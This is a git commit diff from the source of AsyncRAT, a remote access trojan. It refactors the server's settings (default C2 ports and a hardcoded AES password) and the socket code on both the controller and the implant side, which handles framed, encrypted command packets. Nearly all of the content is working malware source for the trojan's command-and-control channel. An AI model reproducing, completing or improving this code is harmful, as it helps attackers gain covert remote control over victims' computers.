Small update
This commit is contained in:
parent
747d31611e
commit
098918cd3f
Binary file not shown.
@ -8,11 +8,12 @@ namespace AsyncRAT_Sharp
|
||||
{
|
||||
public static List<Clients> Online = new List<Clients>();
|
||||
public static List<string> Blocked = new List<string>();
|
||||
public static string Port = "6606,7707,8808";
|
||||
public static string Port { get; set; }
|
||||
public static long Sent { get; set; }
|
||||
public static long Received { get; set; }
|
||||
public static string Password { get; set; }
|
||||
public static Aes256 aes256{ get; set; }
|
||||
|
||||
public static readonly string Version = "AsyncRAT 0.4";
|
||||
public static long Sent = 0;
|
||||
public static long Received = 0;
|
||||
public static string Password = "NYAN CAT";
|
||||
public static Aes256 aes256;
|
||||
}
|
||||
}
|
||||
|
@ -1,10 +1,8 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
using System.IO;
|
||||
using System.Net.Sockets;
|
||||
using System.Windows.Forms;
|
||||
using AsyncRAT_Sharp.Handle_Packet;
|
||||
using System.Threading.Tasks;
|
||||
using System.Security.Cryptography;
|
||||
using System.Drawing;
|
||||
using System.Diagnostics;
|
||||
@ -15,15 +13,16 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
class Clients
|
||||
{
|
||||
public Socket ClientSocket { get; set; }
|
||||
private byte[] ClientBuffer { get; set; }
|
||||
private long ClientBuffersize { get; set; }
|
||||
private bool ClientBufferRecevied { get; set; }
|
||||
private MemoryStream ClientMS { get; set; }
|
||||
public ListViewItem LV { get; set; }
|
||||
private object SendSync { get; set; }
|
||||
private object EndSendSync { get; set; }
|
||||
public string ID { get; set; }
|
||||
public long BytesRecevied { get; set; }
|
||||
|
||||
private byte[] ClientBuffer;
|
||||
private long ClientBuffersize;
|
||||
private bool ClientBufferRecevied;
|
||||
private MemoryStream ClientMS;
|
||||
private object SendSync;
|
||||
private object EndSendSync;
|
||||
public long BytesRecevied;
|
||||
|
||||
public Clients(Socket socket)
|
||||
{
|
||||
@ -35,7 +34,6 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
|
||||
ClientSocket = socket;
|
||||
ClientBuffer = new byte[4];
|
||||
ClientBuffersize = 0;
|
||||
ClientBufferRecevied = false;
|
||||
ClientMS = new MemoryStream();
|
||||
LV = null;
|
||||
@ -62,8 +60,6 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
if (ClientBufferRecevied == false)
|
||||
{
|
||||
await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length);
|
||||
if (ClientMS.Length == 4)
|
||||
{
|
||||
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
|
||||
ClientMS.Dispose();
|
||||
ClientMS = new MemoryStream();
|
||||
@ -73,12 +69,6 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
|
||||
ClientBufferRecevied = true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Disconnected();
|
||||
return;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -99,7 +89,6 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
return;
|
||||
}
|
||||
ClientBuffer = new byte[4];
|
||||
ClientBuffersize = 0;
|
||||
ClientMS.Dispose();
|
||||
ClientMS = new MemoryStream();
|
||||
ClientBufferRecevied = false;
|
||||
|
@ -10,7 +10,6 @@ using Client.Helper;
|
||||
|
||||
namespace Client.Sockets
|
||||
{
|
||||
|
||||
class ClientSocket
|
||||
{
|
||||
|
||||
@ -40,7 +39,6 @@ namespace Client.Sockets
|
||||
Debug.WriteLine("Connected!");
|
||||
Connected = true;
|
||||
Buffer = new byte[4];
|
||||
Buffersize = 0;
|
||||
BufferRecevied = false;
|
||||
MS = new MemoryStream();
|
||||
SendSync = new object();
|
||||
@ -101,22 +99,14 @@ namespace Client.Sockets
|
||||
if (BufferRecevied == false)
|
||||
{
|
||||
MS.Write(Buffer, 0, Recevied);
|
||||
if (MS.Length == 4)
|
||||
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
|
||||
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
{
|
||||
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
|
||||
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
{
|
||||
Buffer = new byte[Buffersize];
|
||||
BufferRecevied = true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Connected = false;
|
||||
return;
|
||||
Buffer = new byte[Buffersize];
|
||||
BufferRecevied = true;
|
||||
}
|
||||
}
|
||||
else
|
||||
@ -126,7 +116,6 @@ namespace Client.Sockets
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray()));
|
||||
Buffer = new byte[4];
|
||||
Buffersize = 0;
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
BufferRecevied = false;
|
||||
@ -155,6 +144,12 @@ namespace Client.Sockets
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Client.Connected)
|
||||
{
|
||||
Connected = false;
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] buffer = Settings.aes256.Encrypt(Msg);
|
||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||
|
||||
@ -176,6 +171,12 @@ namespace Client.Sockets
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Client.Connected)
|
||||
{
|
||||
Connected = false;
|
||||
return;
|
||||
}
|
||||
|
||||
int sent = 0;
|
||||
sent = Client.EndSend(ar);
|
||||
Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
|
||||
|
Loading…
x
Reference in New Issue
Block a user